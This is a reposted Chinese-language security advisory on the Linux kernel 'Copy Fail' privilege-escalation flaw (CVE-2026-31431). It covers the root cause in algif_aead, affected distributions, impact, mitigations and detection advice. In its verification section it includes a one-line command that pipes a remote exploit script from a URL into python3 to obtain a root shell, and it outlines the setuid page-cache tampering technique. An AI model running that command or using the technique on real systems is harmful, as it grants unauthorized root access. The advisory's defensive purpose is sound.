摘要:2026年4月29日,安全研究人员公开披露了Linux内核中存在近十年的高危本地提权漏洞“Copy Fail”(CVE-2026-31431)。该漏洞影响自2017年以来所有主流Linux发行版,攻击者仅凭一个732字节的Python脚本即可从普通用户权限直接提升至root权限,并可能导致容器逃逸、云环境租户隔离被突破等严重后果。
一、漏洞概述
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-31431 |
| 漏洞名称 | Copy Fail |
| 发现者 | Theori公司的Xint Code团队(研究员Taeyang Lee主导) |
| 公开日期 | 2026年4月29日 |
| 危害等级 | 高危(本地提权,且可用于容器逃逸) |
| 根因提交 | 2017年的优化提交(commit 72548b093ee3)引入 |
| 修复提交 | a664bf3d603d |
| 漏洞类型 | 内核crypto子系统逻辑缺陷(authencesn模板内的4字节page cache写入) |
一句话描述:漏洞位于Linux内核的
algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获取root权限。
二、漏洞原理(白话解读)
2.1 涉及的内核“机关”
-
AF_ALG:Linux内核提供的用户态密码运算接口(socket类型),普通用户可直接调用。
-
AEAD(认证加密):一种带认证的加解密模式,例如AES-GCM。
-
authencesn模板:一种特定AEAD实现,在执行解密时会向目标缓冲区写入数据。
-
splice()系统调用:允许在两个文件描述符之间“零拷贝”传输数据,可用于将文件page cache与套接字缓冲区关联。
2.2 核心逻辑缺陷
2017年的优化(commit 72548b093ee3)试图让AEAD加解密操作直接在原地(in-place)完成,以减少内存拷贝。然而在解密路径中,系统错误地将来源不同的数据映射(TX与RX缓冲区)当作相同缓冲区处理,导致:
-
解密时将文件page cache中的页面链接到了可写的目标scatterlist中。
-
authencesn解密在验证认证标签(tag)前,便向该页面写入4个字节。
由此,攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语。
2.3 为何如此危险?
-
无需竞态条件、无需内核特定偏移、无需重试——攻击路线是直线型的。
-
不标记脏页:写入绕过正常的VFS写路径,被篡改的页面永远不会被内核标记为脏页,因此文件完整性工具(检查磁盘上的签名)根本发现不了。
-
系统范围可见:page cache是全局共享的,一旦某个文件在内存中的页面被篡改,所有进程读取该文件时看到的都是被篡改的版本。
-
跨容器传染:容器与宿主机共享同一个页缓存,因此攻击可从容器内发起并影响宿主机。
三、漏洞危害
| 场景 | 危害描述 | 风险等级 |
|---|---|---|
| 多用户共享主机(开发机、跳板机、编译服务器等) | 任何普通用户均可获取root权限,完全控制主机 | 🔴 高危 |
| Kubernetes / 容器集群 | 容器内低权限进程可篡改宿主机页面缓存,实现容器逃逸并控制宿主机节点 | 🔴 高危 |
| CI/CD 流水线(GitHub Actions自托管Runner、GitLab Runner、Jenkins Agent等) | 执行未经验证的PR代码即可让Runner主机被root | 🔴 高危 |
| 云服务(notebook托管、沙箱、Serverless等) | 租户代码可突破隔离,跨租户访问宿主机 | 🔴 高危 |
| 标准单租户服务器 | 需配合RCE等漏洞链式利用,但一旦获得低权限用户后即可提权 | 🟡 中等 |
| 个人桌面/笔记本 | 本地任意代码执行可轻松获取root,但远程利用需要前置条件 | 🟡 较低 |
综合来看,此漏洞对共享内核环境(多租户、容器、CI/CD)影响尤为突出。
四、受影响范围
所有2017年至补丁发布前构建的Linux内核均受影响——覆盖绝大多数主流发行版。
4.1 已验证受影响的发行版
| 确认受影响发行版(实测) | 内核版本示例 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 14.3 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
4.2 理论受影响的发行版
由于漏洞源于内核主线代码,故所有使用受影响内核的发行版均无法幸免:
-
Debian
-
Arch Linux
-
Fedora
-
Rocky Linux
-
AlmaLinux
-
Oracle Linux
-
以及大量嵌入式/定制系统
4.3 受影响的内核版本(官方)
-
4.14 至未修复版本之间
-
不受影响版本:6.18.22+、6.19.12+、7.0+
请注意:发行版的更新策略各有不同,即使上游主线已修复,部分发行版可能尚未推送补丁。
五、修复建议
5.1 立即更新
首选方案:将内核更新至包含commit a664bf3d603d 的版本。
-
对于Ubuntu/Debian:关注官方安全公告,尽快安装
linux-image相关更新。 -
对于RHEL/CentOS/Rocky/Alma:关注Red Hat及衍生版的安全更新,RHEL 10、8、9的修复进度目前仍为“Fix deferred”。
-
对于Amazon Linux:密切关注AWS安全公告,当前修复“pending”。
5.2 临时缓解措施(无法立即更新时)
若业务无法立即重启升级内核,可临时禁用algif_aead内核模块阻止漏洞利用:
bash
# 卸载模块(若当前未使用AEAD套接字)sudo rmmod algif_aead# 或通过modprobe黑名单永久禁用echo"blacklist algif_aead"|sudotee /etc/modprobe.d/blacklist-algif_aead.conf
警告:此操作会禁用用户态AEAD加解密接口,可能影响依赖该接口的应用程序(如某些VPN、TLS库)。
5.3 验证系统是否受影响
-
检查模块是否加载:
bash
lsmod |grep algif_aead若有输出,说明接口已暴露。
-
验证POC(请仅在获得授权的测试环境进行):
bash
curl https://copy.fail/exp | python3 &&su成功则立即获得root shell。
六、安全建议(针对不同角色)
| 角色 | 建议 |
|---|---|
| 系统管理员 | 立即评估受影响资产,优先修复多用户/容器/CI/CD环境。 |
| K8s/云平台运维 | 尽快修补宿主机内核,检查所有节点;同时加固容器内权限控制(限制AF_ALG的使用)。 |
| 应用开发者 | 避免在低权限用户环境下执行不可信代码;CI/CD Runner应使用临时/沙箱化环境。 |
| 安全厂商 | 更新IDS/IPS规则,检测对AF_ALG的异常调用及splice()与AEAD套接字的组合使用。 |
七、简要总结
-
一个732字节的Python脚本即可拿下root,不需要任何内核调试功能、无需网络访问、无竞态条件。
-
漏洞藏身于内核crypto子系统近十年(2017年至2026年),影响面极广。
-
真正的威胁在于容器逃逸:攻击者可从一个被入侵的容器直接跳到宿主机,打破所有租户隔离。
-
修复优先级极高,尤其在共享内核场景(云、K8s、CI/CD)必须立即行动。
演示代码:https://github.com/theori-io/copy-fail-CVE-2026-31431
本行业动态转载微信公众号《黑白之道》
